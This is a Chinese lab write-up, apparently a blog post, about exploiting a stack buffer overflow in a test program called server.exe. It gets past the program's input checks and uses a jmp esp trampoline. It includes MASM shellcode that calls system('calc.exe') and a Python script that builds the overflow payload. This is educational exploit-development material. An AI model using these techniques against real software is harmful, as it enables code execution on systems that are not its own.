Win32漏洞分析与利用 栈缓冲区溢出实验总结

栈溢出

如果程序在处理用户数据时,未能对其大小进行恰当的限制,在进行复制、填充时没对这些数据限定边界,攻击者就可以通过精心设计的数据进行溢出覆盖,修改内存中数据、改变程序的执行流程。
在栈溢出漏洞中,最经典的是借助跳板的栈溢出方式。
在这里插入图片描述
左图是一个正常的栈,从高到低依次是:父函数的栈空间、作为返回地址的EIP、保存下来的栈指针EBP、若干局部变量和用于被攻击的缓冲区。
现有的C语言中许多标准函数(如strcpy)在现在看来已经不再是安全的了,利用strcpy讲数据复制到局部数组缓冲区时可以超过缓冲区区域,覆盖其他栈帧的数据。根据覆盖的内容不同,可能有以下情况:

  • 覆盖局部变量:如果该函数中存在判断输入值与局部变量的值是否相等的验证操作,那么就可以通过覆盖局部变量来通过验证。
  • 覆盖ebp值:一般来讲覆盖了ebp值程序就玩完啦
  • 覆盖返回地址:可以修改函数的返回地址,改变代码的执行流程。

由于栈的位置实际是不固定的,我们需要准确的定位shellcode的地址,需要借助jmp esp指令。我们可以在函数的返回地址中填入jmp esp指令的地址,当函数返回时,会执行指令jmp esp,跳回EIP的高地址处。我们可以用nop指令覆盖前面的所有空间,在EIP的高地址处放入我们想要执行的代码,这样不管程序被加载到哪个位置,最终都会执行这段代码。

描述

server.exe是一款测试软件,通过TCP连接来接收数据,对于输入的数据有一些条件验证,同时其中存在着strcpy()这样的不安全函数,存在栈溢出漏洞。

一.通过验证

  • 首先得知前四个字段必须小于0x270F在这里插入图片描述

  • 接下来的前三个字段必须是EFDF01
    在这里插入图片描述

  • switch case 只有3可以走通
    在这里插入图片描述

  • esi中存放所有数据的异或结果,可以看到esi必须为12345678时才能通过校验
    在这里插入图片描述
    在这里插入图片描述
    可以初步得到,我们需要构造的数据格式是:
    表示数据长度的4个byte(需要小于0x270F) + EFDF0103 + 用来控制最终异或值为12345678的4个byte + 用来覆盖栈空间的nop指令 + jmp esp指令的地址 + shellcode

在构造好数据后,用来控制最终异或值为12345678的4个byte是可以确定的,将这4个byte初始时填为00000000h,使用od查看esi的值,假设值为ABCDEFGH,假设当这4个byte为 a 1 a 2 a 3 a 4 a 5 a 6 a 7 a 8 a_1a_2a_3a_4a_5a_6a_7a_8 a1a2a3a4a5a6a7a8时,所有数据的异或值为12345678,则有:
a 1 a 2 a 3 a 4 a 5 a 6 a 7 a 8 ⨁ 其 他 所 有 数 据 的 异 或 值 = 12345678 h {a_1a_2a_3a_4a_5a_6a_7a_8} \bigoplus {其他所有数据的异或值} = 12345678h a1a2a3a4a5a6a7a8=12345678h
00000000 ⨁ 其 他 所 有 数 据 的 异 或 值 = A B C D E F G H {00000000} \bigoplus {其他所有数据的异或值} = ABCDEFGH 00000000=ABCDEFGH
因此 a 1 a 2 a 3 a 4 a 5 a 6 a 7 a 8 = A B C D E F G H ⨁ 12345678 h {a_1a_2a_3a_4a_5a_6a_7a_8} = {ABCDEFGH} \bigoplus {12345678h} a1a2a3a4a5a6a7a8=ABCDEFGH12345678h

二、确定长度

开始的表示数据长度的4个byte和nop空指令的个数需要确定
在发生栈溢出的子函数中寻找,dword ptr ss:[esp+0x1E]是拷贝的目的地址,用eax将这个目的地址保存下来并压入栈中,再调用strcpy函数。可以得到局部缓冲区的大小是0x9FC-0x1E = 2526(byte)。因为开始4个byte的长度字段并不存入这个缓冲区,所以:
(表示数据长度的4个byte + EFDF0103 + 用来控制最终异或值为12345678的4个byte + 用来覆盖栈空间的nop指令 )长度之和需要等于2530。
在这里插入图片描述
表示数据长度的4个byte = 2530+shellcode的长度

三、shellcode构造

.386;
.model flat, stdcall
option casemap :none   ; case sensitive
include c:\masm32\include\windows.inc 
include c:\masm32\include\comctl32.inc 
includelib C:\masm32\lib\kernel32.lib    
includelib C:\masm32\lib\user32.lib    
include C:\masm32\include\kernel32.inc    
include C:\masm32\include\user32.inc    
includelib c:\masm32\lib\comctl32.lib 
.code
_start:
jmp short gotocall
shellcode:
pop esi
xor eax,eax
mov byte ptr[esi+8],al
mov ebx,esi
push ebx
mov ebx,75ABB16Fh ;system的地址
call ebx
mov ebx,777036AAh ;exit的地址
call ebx
gotocall:
call shellcode
db'calc.exeddd'
end _start

这段代码实现了system(‘calc.exe’)的功能,将其编译

c:\masm32\bin\ml.exe /coff /Cp shellcode.asm c:\masm32\bin\link.exe /subsystem:windows /section:.text,rwe

用winhex打开查看二进制代码,找到code段,就是我们需要的shellcode
在这里插入图片描述

#!/usr/bin/python3
import struct
import sys
import ctypes

shellcode += "\x0B\x0A\x00\x00"  # 长度字段 总长度

shellcode += "\xEF\xDF\x01\x03"  # 固定字段
shellcode += "\x00\x00\x00\x00"  # 用于控制异或值为12345678h

shellcode += "\x90"*(3000-len(shellcode)) # 数字3000这里填入的值是自己的局部缓冲区长度+4

print(len(shellcode))
shellcode += "\x91\xB3\x75\x77" # jmp esp 的地址 需要在内存中寻找

shellcode +=(
      "\xEB\x17\x5E\x33\xC0\x88\x46\x08\x8B\xDE\x53\xBB"  
      "\x6F\xB1\x74\x77"  # system的地址
      "\xFF\xD3\xBB"
      "\x10\x7A\x5F\x77"  # exit的地址
      "\xFF\xD3\xE8\xE4\xFF\xFF\xFF" 
      "\x63\x61\x6C\x63\x2E\x65\x78\x65\x64\x64\x64" 
)
print(len(shellcode))

shellcode=shellcode.encode('latin-1')

shellcode = bytearray(shellcode)
# Save the binary code to file
with open('dum.txt', 'wb') as f:
  f.write(shellcode)


用nc向其发送dum.txt即可实现弹出计算器
在这里插入图片描述

可能有用:
https://blog.csdn.net/Tracy_yi/article/details/125046477?spm=1001.2014.3001.5501
https://blog.csdn.net/Tracy_yi/article/details/125032816?spm=1001.2014.3001.5501

欢迎指正

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值